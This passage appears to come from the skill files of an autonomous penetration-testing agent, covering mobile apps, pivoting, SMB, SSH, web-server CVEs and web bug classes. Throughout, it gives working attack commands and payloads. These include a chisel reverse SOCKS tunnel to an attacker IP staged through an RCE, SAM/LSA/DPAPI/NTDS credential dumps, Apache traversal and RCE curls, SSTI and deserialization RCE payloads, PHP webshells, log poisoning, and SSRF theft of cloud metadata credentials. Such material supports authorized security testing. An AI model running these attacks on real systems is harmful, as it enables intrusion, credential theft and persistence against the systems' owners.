Firestore admin) — TEST IT - OneSignal REST API is unprotected (attempt notification send) - Firebase DB/Storage has open rules (check `/.json` and storage URL) ## Impact Chaining — Connect Findings After individual checks, chain findings for combined impact: - No pinning + sensitive data in URL = MITM intercepts passwords in plaintext - Chucker + passwords in URL = passwords logged in app's local DB - No root detection + local token storage = trivial token extraction on rooted device - Exported activity + deep link = intent hijacking to sensitive screens - IDOR + valid session = unauthorized access to other users' data ## Recording Findings For each finding, call `state_update add_vuln` with: - `severity`: use the chained impact, not individual - `evidence`: exact file:line or smali path + the relevant code/annotation - `status`: "confirmed" for code-level findings (they're deterministic, no FP risk) - `description`: what it is + WHY it matters + what an attacker can do For absence findings (no pinning, no root detection): still record as vuln — the absence IS the finding. Evidence = "searched for X in all sources/resources, not found." - skills/services/mobile-ios/SKILL.md (2671 bytes)
--- name: svc-mobile-ios description: iOS IPA static analysis — hardcoded secrets, ATS bypass, Keychain, jailbreak detection, reverse engineering with class-dump/ipsw. Use when target is an IPA/iOS app. Triggers - IPA, iOS, Mach-O, class-dump, keychain, ATS, TestFlight. --- # iOS IPA Static Analysis Pair with `svc-mobile-android` concepts — same audit axes, Apple-specific mechanics. ## Reverse engineering ``` # Decrypt (FairPlay) if App Store binary: ipsw / clutch / frida-ios-dump # Class/object dump class-dump -H BinaryName # headers from Mach-O Hopper / Ghidra for control flow strings -a BinaryName | grep -iE 'key|token|secret|password|api' otool -l BinaryName | grep -A4 LC_ENCRYPTION_INFO # cryptid 1 = still encrypted ``` ## Checklist (mirrors OWASP Mobile Top 10) 1. **Secrets**: hardcoded API keys in `Info.plist`, `*.strings`, binaries (strings + nm). Filter bundle IDs / public Firebase keys as non-issues — private keys and backend secrets count. 2. **ATS**: `NSAllowsArbitraryLoads=true` in Info.plist = cleartext allowed (High). Per-domain exceptions → note which domains. 3. **Keychain**: what's stored, with which accessibility (`kSecAttrAccessibleAlways` = leak on jailbreak). Data Protection class per file (NSFileProtectionComplete?). 4. **Local storage**: UserDefaults / SQLite / CoreData / Realm for tokens & PII — unencrypted = finding. 5. **Jailbreak detection**: file checks, scheme checks, fork() — document bypassability (Frida bypass = detection is bypassed, still note it as a control). 6. **Reverse-tamper**: only jailbreak checks, no integrity/signature verification of own binary? 7. **Exported schemes**: `CFBundleURLTypes` — custom URL handlers accepting unvalidated input (deep-link injection, auth bypass like `myapp://reset?token=`) 8. **Pasteboard / screenshots**: sensitive screens with `isSecureTextEntry` missing, screenshot in app switcher. 9. **Transport**: certificate pinning present? (check for AFSecurityPolicy/TrustKit/pinning libs — absence on a banking/health app = finding) 10. **Privacy manifests**: `NSUserTrackingUsageDescription`, excessive `NS*UsageDescription` vs actual functionality. ## Dynamic (when in scope) Frida: `frida -U -f com.bundle.id -l script.js` — hook NSURLSession to log traffic, bypass pinning (`ssl-kill-switch2`), dump Keychain. objection: `objection explore` — root/jailbreak detection bypass, clipboard monitor, cookie dump. ## Report notes - iOS findings often: ATS off, secrets in binary, weak jailbreak detection, unencrypted local data. - Distinguish TestFlight/dev builds (debug features expected) from production App Store binaries.
- skills/services/pivoting/SKILL.md (4047 bytes)
--- name: svc-pivoting description: Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo. tags: [exploitation, post_exploit] --- # Pivoting — reliable SOCKS + persistent shell ## When this fires You have code-exec on a host that can reach an internal segment your attacker box cannot (dual-homed edge host, DMZ box). STOP routing volume through the stateless RCE — its output truncates and one wave of concurrent requests can kill it. Stand up a persistent tunnel FIRST, register it, then route all internal scans/exploits through it. Use `tunnel_manage action:plan` to generate the filled-in recipe; this skill is the methodology + the fallbacks. ## Decide the tunnel type - **`ssh -D` (dynamic SOCKS)** — you have SSH creds/key on the foothold. Simplest, no binary to land. First choice when SSH works. - **chisel reverse SOCKS** — no SSH, but you can exec + reach your attacker IP outbound. Land one static binary, get a full SOCKS5. Default for a web/RCE foothold. - **ligolo-ng** — you need a full route (not just SOCKS) or nested/multi-hop pivots. Route-based (tun iface), cleanest for deep internal work. - Reverse shell alone is NOT a pivot — it gives exec, not network reach. Convert to one of the above for internal scanning. ## Land the binary through a constrained RCE (the make-or-break) An egress-restricted / curl-less foothold whose RCE truncates output CANNOT `wget` chisel. Stage it base64-chunked: ``` # attacker: fetch static binary (match arch), chunk it single-line-safe curl -fsSL https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel split -b 2000 <(base64 -w0 chisel) /tmp/ch_ # push each chunk THROUGH the RCE (append; order matters), then reassemble on target: for f in /tmp/ch_*; do <RCE> "echo -n $(cat "$f") >> /tmp/chisel.b64"; done <RCE> "base64 -d /tmp/chisel.b64 > /tmp/chisel && chmod +x /tmp/chisel && /tmp/chisel --version" # node-only foothold (no base64/coreutils): Buffer.from(fs.readFileSync('/tmp/chisel.b64','utf8'),'base64') ``` ## Stand it up ``` # chisel reverse SOCKS — attacker side: chisel server --reverse --port 8000 --socks5 # foothold side (after staging): /tmp/chisel client <ATTACKER_IP>:8000 R:9050:socks & # ssh dynamic SOCKS (if you have creds): sshpass -p '<pw>' ssh -D 9050 <user>@<foothold> -N -f # or -i key ``` ## VERIFY before trusting it (skip this and you'll waste hours on a dead tunnel) ``` printf 'strict_chain\n[ProxyList]\nsocks5 127.0.0.1 9050\n' > /tmp/pc.conf proxychains4 -q -f /tmp/pc.conf nmap -sT -Pn -n -p 22,80,445 <internal-host> # a hit = tunnel UP ``` Then `tunnel_manage action:register` (record pid + local_port) so sibling agents route via `state_query sessions`. Re-`healthcheck` periodically — a dead tunnel silently swallows traffic. ## Route internal work through it - All internal nmap/curl/exploit: `proxychains4 -q -f /tmp/pc.conf <cmd>` (SOCKS types) or just target the routed subnet (ligolo). - `nmap` over SOCKS must be `-sT -Pn` (connect scan; SYN/ping need raw sockets the proxy can't carry). - SERIALIZE heavy work through one foothold — don't fan out concurrent agents onto a single tunnel/RCE (it can crash the host). ## Pitfalls - Pushing a multi-line/binary payload through a truncating RCE without staging → corrupt binary, hours lost. Always chunk+verify. - Forgetting `--socks5` on `chisel server` → `R:socks` has nothing to connect to. - `proxychains` with SYN scan / ICMP ping → all-filtered false negative. Use `-sT -Pn`. - Not registering the tunnel → sibling agents don't know it exists and re-hammer the RCE. - Treating a reverse shell as a pivot → you still can't scan the segment. Build SOCKS/route. - skills/services/smb/SKILL.md (1447 bytes)
--- name: svc-smb description: SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam. --- # SMB — Gotchas & Attack Chains ## DPAPI dump trap `netexec smb HOST -u USER -p PASS --dpapi` bare = FULL dump (browser passwords, vault, cookies, Credential Manager). Adding subcommands (`cookies`, `nosystem`, `wifi`) **LIMITS** output. Always bare `--dpapi` first. ## Credential dump order (with local admin) Run ALL, in order — each gets different secrets: 1. `--sam` — local hashes 2. `--lsa` — service passwords, cached domain creds 3. `--dpapi` — user secrets (browser, vault, Credential Manager) 4. `--ntds` — DC only, all domain hashes Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST` ## SMB relay (signing disabled) Check: `netexec smb TARGET` → if "signing: False" → relay is possible. Generate target list: `netexec smb SUBNET --gen-relay-list relay.txt` Relay: `impacket-ntlmrelayx -tf relay.txt -smb2support` Trigger auth: Responder, mitm6, PetitPotam, PrinterBug. ## EternalBlue (MS17-010) Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: `nmap --script smb-vuln-ms17-010 -p 445 TARGET`. ## Null session → spray chain `enum4linux-ng -A TARGET`, `rpcclient -U '' -N TARGET -c 'enumdomusers'`. If null session works → user list → AS-REP roast / password spray.
- skills/services/ssh/SKILL.md (1215 bytes)
--- name: svc-ssh description: SSH version CVEs and post-auth tricks — regreSSHion, user enum, agent hijack. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, CVE-2018-15473. --- # SSH — Version CVEs & Tricks ## CVE-2024-6387 (regreSSHion) OpenSSH 8.5–9.7 on glibc-based Linux. Race condition → unauthenticated RCE. Public PoCs exist but are slow/unreliable — confirm version, note as high-value finding. ## CVE-2018-15473 (user enumeration) OpenSSH <7.7. Timing-based username enumeration. `ssh-audit TARGET` or Metasploit `auxiliary/scanner/ssh/ssh_enumusers`. User list → password spray / AS-REP roast. ## SSH agent forwarding hijack If another user has agent forwarding enabled: `find /tmp -name "agent.*"` → `SSH_AUTH_SOCK=/tmp/agent.XXXX ssh other-target` ## Post-auth pivot intel - `~/.ssh/config` — other hosts, jump hosts, proxy configs - `~/.ssh/known_hosts` — every host this user connected to - `~/.ssh/authorized_keys` — who else has access (persistence opportunity) ## Auth method check `ssh -o PreferredAuthentications=none TARGET` reveals accepted methods. If only `publickey` → password brute is impossible, don't waste time on hydra.
- skills/services/web-server/SKILL.md (4089 bytes)
--- name: svc-web-server description: Web SERVER software (not app-layer) attack techniques — server misconfigs, known server CVEs, path traversal, exposed status/config. Use when you fingerprint the web server itself (for app-layer bugs use the web-<class> skills). Triggers - Server header, Apache 2.4.49/2.4.50, nginx alias traversal, IIS, Tomcat, /server-status, .htaccess. --- # Web Server Attack Reference ## Apache ### Critical CVEs - **CVE-2021-41773** (Apache 2.4.49): Path traversal via `curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd'` - **CVE-2021-42013** (Apache 2.4.49-50): RCE via `curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id'` - **CVE-2019-0211** (Apache 2.4.17-2.4.38): Local privesc via scoreboard manipulation - **CVE-2017-9798** (Optionsbleed): `curl -sI -X OPTIONS http://<t>/` — leaks memory ### Misconfigurations ```bash # Server-status exposure curl http://<t>/server-status curl http://<t>/server-info # .htaccess / .htpasswd readable curl http://<t>/.htaccess curl http://<t>/.htpasswd # Directory listing curl http://<t>/icons/ ``` ## Nginx ### CVEs - **CVE-2017-7529** (Nginx <1.13.2): Integer overflow → info disclosure - **CVE-2021-23017**: DNS resolver off-by-one heap write ### Misconfigurations ```bash # Alias traversal (missing trailing slash) curl http://<t>/static../etc/passwd # stub_status exposure curl http://<t>/nginx_status curl http://<t>/status # Off-by-slash # If: location /folder { alias /var/www/; } # Then: /folder../etc/passwd works ``` ## IIS ### CVEs - **CVE-2017-7269** (IIS 6.0): WebDAV buffer overflow → RCE - **CVE-2021-31166** (HTTP.sys): Wormable RCE via malformed header ### Checks ```bash # Short filename disclosure curl http://<t>/~1/ # WebDAV methods curl -X OPTIONS http://<t>/ -sI | grep -i allow ``` ## General Web Server Checks ```bash # Technology detection whatweb http://<t> -a 3 curl -sI http://<t> # single header dump is fine ``` Backup-file and sensitive-path checks: do these with `ffuf`/`gobuster`, NOT a `curl` bash-loop. Put the candidate paths in a file and fuzz once: ```bash # sensitive/backup paths in one run, then parse cat > paths.txt <<'EOF' .git/HEAD .env .DS_Store web.config wp-config.php.bak robots.txt sitemap.xml index.php.bak index.php.old index.php.orig index.php~ EOF ffuf -w paths.txt -u http://<t>/FUZZ -mc 200,301,302,401,403 -maxtime 100 -o ffuf.json -of json # then (separate command): gobuster_parse on the results ``` A `for ext in bak old ...; do curl ...; done` loop is the WRONG pattern — use the ffuf run above. If ffuf/gobuster is missing, install it (`apt install -y ffuf gobuster`) rather than looping curl. ## Authenticated testing Needing a session cookie/header is NOT a reason to hand-run curl — every tool carries auth: - ffuf `-H "Cookie: ..."` / `-b`, gobuster `--cookies`, nuclei `-H`, sqlmap `--cookie=`, feroxbuster `-H`. - A single `curl -b` is only for a one-off PoC, never "curl for all requests". ## Injection (SQLi) → sqlmap, not by hand - Detect with sqlmap (blind/time/union coverage, true/false differential), then `sqlmap_parse`. - Non-standard transport (Next.js Server Actions / RSC, custom `Next-Action` / `text/x-component`): ONE recon `curl` to confirm the param reacts is allowed, then move detection to a saved request: `sqlmap -r request.txt -p <param> --batch` → `sqlmap_parse`. No manual `' OR 1=1` sweeps. ## Long-running fuzz - Add `-maxtime N` (below the shell timeout) so `ffuf -o json` flushes on a clean exit before it's killed. - Run long fuzzes backgrounded / with a raised timeout; run the fuzz and `gobuster_parse` as SEPARATE commands. - Drop `-s` (see progress). If throttled, LOWER `-t` and add `-p 0.1`. ## Output Rules - Never curl-loop over paths — that's what ffuf/gobuster are for. Single `curl` only for one-off requests. - For gobuster/ffuf: use `-q -n --no-error` or `-mc` match codes to suppress noise, then `gobuster_parse`. - Redirect large output to files. Never paste >50 lines of raw tool output. - Use `gobuster_parse` and `nuclei_parse` for auto-processing. - skills/web/auth-bypass-idor/SKILL.md (2681 bytes)
--- name: web-auth-bypass-idor description: Broken access control - IDOR, privilege escalation, JWT abuse, mass assignment, forced browsing - for web apps and APIs. Use on any multi-user or role-based app with object IDs, tokens, or admin functionality. Triggers - /api/users/<id>, /orders/<id>, ?account=/uid=/doc=, JWT (eyJ...), role/isAdmin field, admin panel, "403 Forbidden", numeric or guessable object references. tags: [vuln_assess, exploitation] --- # Broken Access Control (IDOR / privesc / JWT / mass-assignment) ## When this fires Any app with per-object endpoints, user roles, tokens, or admin functions — the most common (and highest-scoring) web bug class. ## Decide — which sub-class - Object ID in URL/param/body → **IDOR** (swap it). - JWT / signed token → **JWT abuse**. - Object accepts fields you shouldn't set (`role`,`isAdmin`,`is_verified`) → **mass assignment**. - Admin path returns 403 to you → **forced browsing / vertical privesc**. ## Detect → Exploit → PROVE IMPACT ``` IDOR: authenticate as user A; hit A's /api/orders/1001 → change to 1002/other IDs (incl. UUIDs seen elsewhere, decremented, from another account). Also flip method (GET→PUT/DELETE) and try without auth. PROVE: read/modify ANOTHER user's data. Mass assignment: add {"role":"admin","isAdmin":true,"userId":<victim>} to a profile/update/signup body. PROVE: your account gains a privilege the UI never grants. Forced browsing / method: request admin endpoints directly; try X-Original-URL / X-Rewrite-URL / trailing /./ /%2e/ ; verb tampering (HEAD/OPTIONS); 403-bypass headers (X-Forwarded-For 127.0.0.1). PROVE: reach an admin function as a low-priv/anon user. ``` JWT (drive with `jwt_analyze`, then forge): ``` alg:none → header {"alg":"none"}, drop signature, set {"admin":true}/{"role":"admin"} weak HMAC → crack the secret (hashcat -m 16500 <jwt> wordlist) → re-sign with the new claims alg confusion → RS256→HS256 signing the token with the PUBLIC key as the HMAC secret kid / jku / x5u → path-traversal/SSRF the key source to one you control ``` **Proof required:** access to another user's data, or a forged/tampered token that authenticates you as admin and reaches a privileged action. ## Tooling `jwt_analyze` for token analysis; Burp/ffuf to sweep object IDs; `nuclei -tags idor,jwt,exposure`. ## False positives / pitfalls - Server re-checks ownership after the swap (returns 403/empty) → not IDOR; try other IDs/methods. - Random UUIDs with no leak → IDOR may need an ID-disclosure primitive first. - "alg:none" rejected by a patched lib → move to weak-secret / confusion / kid. - skills/web/deserialization/SKILL.md (2617 bytes)
--- name: web-deserialization description: Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream. tags: [vuln_assess, exploitation] --- # Insecure Deserialization → RCE ## When this fires Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, `__VIEWSTATE`, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map). ## Decide — fingerprint the format FIRST - base64 `rO0AB...` or raw hex `AC ED 00 05` → **Java** (`ObjectInputStream`). - `O:8:"ClassName":...` → **PHP** (`unserialize()`). - `__VIEWSTATE` / `AAEAAAD...` → **.NET** (`BinaryFormatter`/`LosFormatter`). - python pickle opcodes (`\x80\x04`, `c__builtin__`) → **Python**. - `{"rce":"_$$ND_FUNC$$_..."}` → **Node** (`node-serialize`). ## Exploit → PROVE IMPACT (gadget chains) ```bash # Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first): java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0 # place in the sink # iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE # PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle): phpggc Monolog/RCE1 system id # .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..." # Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE ``` **Proof required:** `id`/`uname` (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via `record_vector attempt:` so you don't re-try dead chains. ## Tooling `ysoserial` (Java), `phpggc` (PHP), `ysoserial.net` (.NET), `gadgetinspector` for custom classpaths; `nuclei -tags deserialization`. ## False positives / pitfalls - Signed/encrypted blobs (HMAC'd cookies, encrypted VIEWSTATE) → you need the key first (leaked/weak/default) — see web-auth-bypass-idor for key recovery; don't brute blindly. - Gadget must match the LIBRARIES on the classpath — a failed CC1 doesn't mean not-vulnerable; iterate the gadget set. - Length/type validation before deser → may need to satisfy a wrapper. - skills/web/lfi-traversal/SKILL.md (2439 bytes)
--- name: web-lfi-traversal description: Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint. tags: [vuln_assess, exploitation] --- # Path Traversal / LFI ## When this fires A param selects a file/page/template/language/download, or a download/include endpoint reflects file content. ## Detect ```bash curl 'http://<t>/?page=../../../../etc/passwd' # classic curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded curl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypass ``` `root:x:0:0` back = traversal/LFI. Windows: `..\..\..\windows\win.ini`. ## Decide - Reads only (traversal) → escalate to source disclosure + secrets. - PHP `include()` (LFI) → escalate to RCE via wrappers/poisoning. - Extension appended (`page.php`) → `php://filter` (below) or null-byte on old PHP; try `?page=../../etc/passwd%00` (PHP<5.3.4). ## Exploit → PROVE IMPACT ```bash # source disclosure (base64 so PHP doesn't execute it): curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d # high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline # LFI → RCE paths: # log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log # session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID> # php://input / data:// (if allow_url_include) ; /proc/self/environ (older) # php filter chain → RCE (php_filter_chain_generator) when only file-read is available ``` **Proof required:** contents of a file the app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credential + cred_spray. ## Tooling `nuclei -tags lfi,traversal`; `ffuf` with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases. ## False positives / pitfalls - WAF/framework normalizes `../` → try encodings, `....//`, absolute paths, or a different param. - App sandboxes to a base dir → look for a symlink/upload you control to include. - 200 with generic page ≠ read — confirm the actual file bytes are in the response.
- skills/web/sqli/SKILL.md (2878 bytes)
--- name: web-sqli description: SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param. tags: [vuln_assess, exploitation] --- # SQL Injection ## When this fires A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app. ## Detect (tool-first, low-noise) Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain: ```bash sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt # non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then: sqlmap -r /tmp/request.txt -p <param> --batch ``` Then `sqlmap_parse` on the output. A single manual probe (`'`, `' OR '1'='1' -- -`, `1 AND SLEEP(5)`) is a confirm poke ONLY — never the detection method or a payload sweep by hand. ## Decide - Error shown → error-based / UNION (fastest data). Get column count: `ORDER BY N` until it breaks; find the reflected column; fingerprint DB (`@@version`, `version()`, `sqlite_version()`). - No error but true≠false → boolean-blind. No differential but timing → time-blind (`SLEEP`/`WAITFOR DELAY`/`pg_sleep`/`dbms_pipe.receive_message`). - No in-band channel → OOB (DNS/HTTP exfil) via `--dns-domain` / MySQL `LOAD_FILE(CONCAT('\\\\',...))`, MSSQL `xp_dirtree`. ## Exploit → PROVE IMPACT ```bash sqlmap -r /tmp/request.txt -p <param> --batch --dbs # list databases sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump # extract # creds/secrets → add_credential + cred_spray; escalate where possible: # MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot # MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell ``` **Proof required:** a dumped row a benign query couldn't return (a canary/secret value), a read file (`/etc/passwd`), or `id` via os-shell. "sqlmap says injectable" is a lead, not proof. ## Tooling `sqlmap` (`--batch --random-agent`, `-r` for weird transports, `--technique BEUSTQ`, `--tamper` for WAF) → `sqlmap_parse`. `nuclei` for known-CVE SQLi in a specific product → `nuclei_parse`. ## False positives / pitfalls - 200-on-everything / WAF echo → confirm a TRUE vs FALSE differential, not just a reflected string. - Time-blind on a slow app → use several sleep durations, compare. - Auth/CSRF-gated param → pass the session (`--cookie`/`--headers`), satisfy CSRF, or use `-r`. - skills/web/ssrf/SKILL.md (2667 bytes)
--- name: web-ssrf description: Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect. tags: [vuln_assess, exploitation] --- # Server-Side Request Forgery (SSRF) ## When this fires The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js `/_next/image`), XML/SVG parsers. ## Detect Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF: ```bash # use interactsh / a collaborator / your own listener url=http://<OOB-id>.oast.site # then watch for the server-sourced hit ``` Compare internal vs external: `http://127.0.0.1:<port>` / `http://localhost` responses vs a dead port (differential = internal reachability). ## Decide — filter bypass - Blocklist of `127.0.0.1`/`localhost` → `http://127.1`, `http://0`, `http://[::1]`, `http://2130706433` (decimal), `http://0x7f000001`, `http://127.0.0.1.nip.io`. - Allowlist/parser confusion → `http://allowed@evil`, `http://evil#allowed`, `http://allowed.evil.com`, CR/LF + `@`, or a redirect you control (302 → internal). - Scheme filter → `gopher://` (raw TCP → Redis/SMTP/internal HTTP), `file://`, `dict://`. ## Exploit → PROVE IMPACT ```bash # cloud metadata (the classic high-impact proof): http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1 # IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure # internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing ``` **Proof required:** exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags ssrf`; interactsh/collaborator for OOB; `gopherus` to craft gopher payloads. ## False positives / pitfalls - Client-side fetch (the BROWSER requests it) = not SSRF. - WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status. - Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
- skills/web/ssti/SKILL.md (2502 bytes)
--- name: web-ssti description: Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7}, #{7*7}, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars, TemplateSyntaxError, freemarker.core. tags: [vuln_assess, exploitation] --- # Server-Side Template Injection (SSTI) ## When this fires Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates. ## Detect Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED): ``` ${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7) ``` `49`/`7777777` back = hit. Then fingerprint the engine to pick the RCE path. ## Decide — fingerprint the engine - `{{7*7}}`=49 but `{{7*'7'}}` → `7777777` = **Jinja2/Twig (Python/PHP)**; `TemplateError` = Jinja2. - `${7*7}`=49 = **Freemarker/Velocity (Java)** or JSP EL. - `#{7*7}` = **Ruby ERB / Thymeleaf / JSF**. - `<%= 7*7 %>` = **ERB (Ruby)** / EJS (Node). - `${{7*7}}` errors but `{{7*7}}` ok = **Handlebars/Node**. ## Exploit → PROVE IMPACT (engine-specific RCE) ``` Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}} {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} Twig: {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id") ERB: <%= `id` %> / <%= system('id') %> Smarty: {system('id')} / {php}system('id');{/php} ``` **Proof required:** `id`/`uname -a` output (RCE), or read a secret file. Then convert to a stable shell / `record_artifact`. ## Tooling `tplmap -u '<url>?p=*'` (auto-detect+exploit) if available; else manual per above. `nuclei -tags ssti`. ## False positives / pitfalls - Client-side echo (value reflected but NOT computed) = XSS, not SSTI. - Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead. - WAF stripping `{{ }}` → try `${}`, `#{}`, whitespace/comment obfuscation. - skills/web/upload-rce/SKILL.md (2584 bytes)
--- name: web-upload-rce description: File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path. tags: [vuln_assess, exploitation] --- # File Upload → RCE ## When this fires Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted. ## Detect 1. Upload a benign file, find WHERE it lands (response URL, predictable `/uploads/<name>`, guess via ffuf). 2. Probe the filter: try `.php`, `.phtml`, `.php5`, `.phar`, `.jsp`, `.aspx` — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan). ## Decide — which bypass - **Extension blocklist** → `.phtml`/`.php5`/`.phar`/`.pht`; double `shell.php.jpg`; trailing `shell.php%00.jpg` (old); case `shell.PHP`; `.php.` (Apache). - **MIME check only** → keep `.php`, set `Content-Type: image/png`. - **Magic-byte/content check** → prepend `GIF89a;` or valid image header, then PHP: `GIF89a;<?php system($_GET['c']); ?>`. Or embed in EXIF (`exiftool -Comment='<?php ...?>' x.jpg`). - **Server config writable** → upload `.htaccess` (`AddType application/x-httpd-php .jpg`) then a `.jpg` webshell. - **SVG/XML upload** → stored XSS or XXE (see web-xxe). **Zip/import** → path traversal (`../../`) to write outside the upload dir. ## Exploit → PROVE IMPACT ```bash # minimal webshells echo '<?php system($_GET["c"]); ?>' > shell.phtml # PHP # JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %> ASPX: Process.Start("cmd","/c "+Request["c"]) curl 'http://<t>/uploads/shell.phtml?c=id' # execute → prove ``` **Proof required:** `id`/`whoami` from the uploaded shell (RCE). Then upgrade to a stable shell / `record_artifact`; drop markers where the engagement requires. ## Tooling `ffuf` to locate the upload dir; `exiftool` for magic-byte polyglots; `nuclei -tags fileupload`. Feed dir-discovery to `gobuster_parse`. ## False positives / pitfalls - Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file. - Antivirus/content scan strips shells → try polyglot + less-common handler extension. - Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI. - skills/web/xxe/SKILL.md (2368 bytes)
